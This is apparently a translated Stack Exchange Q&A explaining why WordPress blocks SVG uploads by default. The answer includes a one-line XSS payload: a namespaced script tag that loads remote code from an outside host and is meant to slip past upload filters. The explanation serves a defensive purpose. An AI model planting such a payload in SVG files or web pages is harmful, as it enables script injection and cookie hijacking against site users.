メディアアップローダーでsvgがブロックされるセキュリティ上の理由は何ですか?


15

SVGはメディアアップローダーでデフォルトでブロックされていることがわかりますが、functions.phpでサポートされているMIMEタイプとして追加する必要があります。この背後にあるセキュリティ上の理由は何ですか?

回答:


17

SVGにはJavaScriptを含めることができます。JavaScriptを使用してCookieハイジャックしたり、その他の疑わしいアクションを実行したりできます。名前空間で「非表示」にすることもできます。

<html xmlns="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

ソース

アップロード中にそれを除外するのは非常に難しいため、デフォルトでは許可されていません。


私は意味は、名前空間のポイントはタグ名の衝突を避けるためだと思ったø:scriptとして扱われるべきではないscriptので、何もしないはずです。名前空間ø:scriptタグが非名前空間scriptタグとして扱われる原因は何ですか?または、SVGは非JS XMLパーサーの埋め込みも許可しますか?
JAB

@JAB名前空間http://www.w3.org/1999/xhtmlにより、このスクリプトインスタンスは通常のスクリプトと同等になります。
FUXIA

ああ、今理解した。HTMLタグの暗黙的な名前空間はですhttp://www.w3.org/1999/xhtml。そのため、そのURLへの参照を作成し、そのようなタグの名前空間プレフィックスとして使用できます。XHTMLパーサーはそれらを通常のタグとして処理します。
JAB
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.